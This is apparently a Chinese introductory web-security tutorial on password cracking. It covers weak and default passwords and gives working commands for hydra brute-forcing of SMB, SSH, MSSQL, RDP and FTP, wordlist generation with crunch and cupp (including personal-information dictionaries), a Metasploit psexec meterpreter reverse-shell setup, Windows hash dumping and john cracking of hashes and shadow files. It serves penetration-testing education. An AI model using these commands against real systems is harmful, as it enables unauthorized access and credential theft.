口令破解(web安全入门07)

简介: 口令破解(web安全入门07)

一、口令破解

1.1 口令安全概述

现在很多地方以用户名(账户)和口令(密码)作为鉴权的方式,口令(密码)就意味着访

问权限。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等等。


1.2 口令安全现状

1、弱口令

类似 123456、654321、admin123 等这些常见的弱密码

2、默认口令

很多应用或者系统存在默认口令。比如 phpstudy 的 mysql 数据库默认账密[root/root],

Tomcat 管理控制台默认账密[tomcat/tomcat]等。

3、明文传输

比如 HTTP|FTP|TELNET 等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。

这样的服务,有嗅探的风险。

1.3 破解方式

1.3.1 在线破解方式

账密,需要认证

hydra

-l 指定一个用户名

-p 指定一个密码

-P 指定密码字典

-L 指定用户名字典

-vV 显示爆破细节

-o 保存爆破结果

-f 找到正确的密码就停止爆破

-t 线程

-e

n null

s same

r 反向

用户名未知,密码未知

用户名已知,密码未知

用户名未知,密码已知

1.3.2 离线破解方式

密文,还原成明文的过程


二、暴力破解

暴力破解就是利用所有可能的字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根


据运算能力,如果能够承受的起时间成本的话,最终会爆破出密码。下表根据不同的位数生

成密码的空间大小。

字符集 密码位数 密码空间

[0-9] 8 位 10^8=100000000

[0-9][a-z] 8 位 36^8=2821109907456

[0-9][a-z] 1 到 8 位


工具:crunch(kali 自带)


[crunch 1 8 1234567890abcdefghijklmnopqrstuvwxyz]

5670ac2484104ffea922dc7bde868c02.jpg



三、字典破解

如果能通过比较合理的条件,删选或者滤掉一些全字符组合内容,就会打幅度降低爆破的成

本。我们把筛选出来的密码组成特定的字典。用字典爆破密码也是可以的,但是这样可能会

漏掉真正的密码。密码字典大致分为以下几大类


3.1 弱口令字典

比如 123456,admin 等这样的默认口令或弱口令


3.2 社工字典

人在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见

的密码组合“名字+生日”, [zhangsan1992]

社工字典更具针对性,准确率也比较高。

我们可以根据个人信息生成密码字典。可以使用 cupp 工具,但是 cupp 工具是国外人开发

apt-get update 更新软件列表

apt-get install cupp

cupp -i


3.3 字符集字典

如果能确定密码的字符集合,也将大大降低爆破的成本。

1、真空密码字典生成器

2、crunch(kali 自带)

是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文

件。

使用 crunch 工具生成的密码可以输出到屏幕,保存文件或另一个程序。尤其是渗透测试需

要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重

要的作用。

⑴查看帮助

man crunch > crunch.help

⑵命令格式

crunch [] [options]

⑶参数说明

min-len 设定密码的最小长度(必选)

max-len 设定密码的最大长度(必选)

charset string 字符集

oprions

-b 指定文件输出的大小,避免字典文件过大

-c 指定文件输出的行数,记包含密码的个数

-d 限制相同元素出现的次数

-e 定义停止字符,即到该字符串就停止生成

-f 调用库文件(/usr/share/crunch/charset.lst)

-i 改变输出格式,即 aaa,aab -> aaa,baa

-o 将密码保存到指定文件

-q 读取密码文件,即读取 pass.txt

-r 定义重复一个字符串就重新开始

-s 指定一个开始的字符

-t 指定密码输出的格式

-u 禁止打印百分比

-z 压缩生成的字典文件,支持 gzip,bzip2,lzma,7z

-l 生成特殊字符

-p 指定生成元素

⑷查看库文件

cat /usr/share/crunch/charset.lst

⑸特殊字符

% 代表数字

^ 代表特殊符号

@ 代表小写字母

, 代表大写字母

3、生成密码字典

⑴生成 1-8 位密码字典,字符集合为小写字母,从 a 开始到 zzzzzzzz 结束

crunch 1 8

⑵生成 1-6 位的密码字典,字符集合为[abcdefg],从 a 开始到 gggggg 结束

crunch 1 6 abcdefg

⑶生成指定字符串,比如生日的日期

crunch 8 8 -t 199307%% -e 19930731

⑷生成元素的组合,比如 123.com

crunch 7 7 -t %%%.com -s 111.com -e 123.com

⑸在字典中输出特殊字符

crunch 3 3 abc -t @@@ -l @aa

⑹以元素组合生成字典

[zhangsan|1993|0701]

crunch 4 4 -P zhangsan 1993 0701

⑺保存字典文件

crunch 11 11 -t 1700010%%%% -b 20mb -o START

⑻自定义字符集合

例如:编辑 charset.lst 文件,在文件中加一行内容,test = 123

创建自定义字符集合[*.com] 字典文件

crunch 5 5 -f charset.lst test -t @.com

3.4 简单介绍字典

子域名字典

默认账号密码字典

文件路径字典

日志文件

Web 目录

常用变量名字典

常用文件名字典


四、Windows 口令破解

4.1 windows 口令远程爆破

1、hydra(九头蛇)

hydra -l administrator -P …/dic/pwd.dic 192.168.1.200 smb

或者

hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200

hydra -L …/dic/user.dic -P …/dic/pwd.dic 192.168.1.200 smb

hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200 -vV -f -e nsr


2、知道用户名、密码之后用 msf 远程连接

msfconsole

use exploit/windows/smb/psexec_psh

set payload windows/x64/meterpreter/reverse_tcp

show options

exploit


4.2 windows 账户 hash 值破解(离线爆破)

除了可以远程爆破 windows 密码,我们还可以从本地破解 windows 密码。本地 Windows 账

户破解主要有两种方式

1、从内存中读取 windows 密码

我们可以用 getpass 直接从 Windows 系统内存中读取用户数据。

2、Windows hash 值破解

Windows hash 值破解一共有两步操作。

首先我们使用 QuarkPwDump 工具读取(导出)Windows 账户密码 hash 值

C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o win2008.hash

然后在使用 john 工具破解

john win2k8.hash --format=NT 使用默认字典

john win2k8.hash --format=NT --wordlist=/root/dic/winPass.dic


john win2k8.hash --show --format=NT

五、linux 口令破解

linux 口令破解,也分远程破解和和本地破解。

远程破解主要是爆破 ssh 服务,属于在线密码攻击。

本地破解需要拿到 linux 的 shadow 文件,进行 hash 值破解,属于离线密码攻击。

破解 ssh 服务

hydra -l root -P …/dic/pwd.dic ssh://192.168.1.200 -vV -f -e nsr

hydra -L /root/dic/user.dic -P /root/dic/winPass.dic 127.0.0.1 ssh -e nsr -vV -o 127.ssh

本地 shadow 文件破解

我们可以使用 john 工具,破解 shadow 密码文件,破解的时候需要准备一个密码字典。

复制一份 shadow 文件

john shadow

john shadow --show


六、网络服务口令破解

1、破解 MSSQL 口令

hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.150 mssql -vV

2、破解 RDP 口令

hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.150 rdp -vV

3、破解 FTP 口令

hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.150 ftp -vV


目录
相关文章
|
5天前
|
SQL 负载均衡 安全
安全至上:Web应用防火墙技术深度剖析与实战
【10月更文挑战第29天】在数字化时代,Web应用防火墙(WAF)成为保护Web应用免受攻击的关键技术。本文深入解析WAF的工作原理和核心组件,如Envoy和Coraza,并提供实战指南,涵盖动态加载规则、集成威胁情报、高可用性配置等内容,帮助开发者和安全专家构建更安全的Web环境。
16 1
|
7天前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
35 4
|
6天前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
29 2
|
9天前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
42 3
|
11天前
|
SQL 安全 Go
PHP在Web开发中的安全实践与防范措施###
【10月更文挑战第22天】 本文深入探讨了PHP在Web开发中面临的主要安全挑战,包括SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等,并详细阐述了针对这些风险的有效防范策略。通过具体案例分析,揭示了安全编码的重要性,以及如何结合PHP特性与最佳实践来加固Web应用的安全性。全文旨在为开发者提供实用的安全指南,帮助构建更加安全可靠的PHP Web应用。 ###
26 1
|
14天前
|
Kubernetes 安全 应用服务中间件
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
动态威胁场景下赋能企业安全,F5推出BIG-IP Next Web应用防火墙
33 3
|
24天前
|
前端开发 JavaScript 开发者
探索现代Web前端技术:React框架入门
【10月更文挑战第9天】 探索现代Web前端技术:React框架入门
|
1月前
|
缓存 安全 JavaScript
掌握JAMstack:构建更快、更安全的Web应用
JAMstack 是一种现代 Web 开发架构,结合 JavaScript、APIs 和 Markup,创建更快、更安全的 Web 应用。其核心优势包括高性能、安全性、可扩展性和易维护性。JAMstack 通过预构建静态页面和 API 实现高效渲染,利用静态站点生成器如 Gatsby 和 Next.js,并借助 CDN 和缓存策略提升全球访问速度。尽管面临复杂交互、SEO 和数据更新等挑战,但通过 Serverless Functions、预渲染和实时 API 更新等方案,这些挑战正逐步得到解决。
|
21天前
|
网络协议 安全 JavaScript
Web实时通信的学习之旅:WebSocket入门指南及示例演示
Web实时通信的学习之旅:WebSocket入门指南及示例演示
101 0
|
22天前
|
Web App开发 Java 测试技术
一、自动化:web自动化。Selenium 入门指南:从安装到实践
一、自动化:web自动化。Selenium 入门指南:从安装到实践
33 0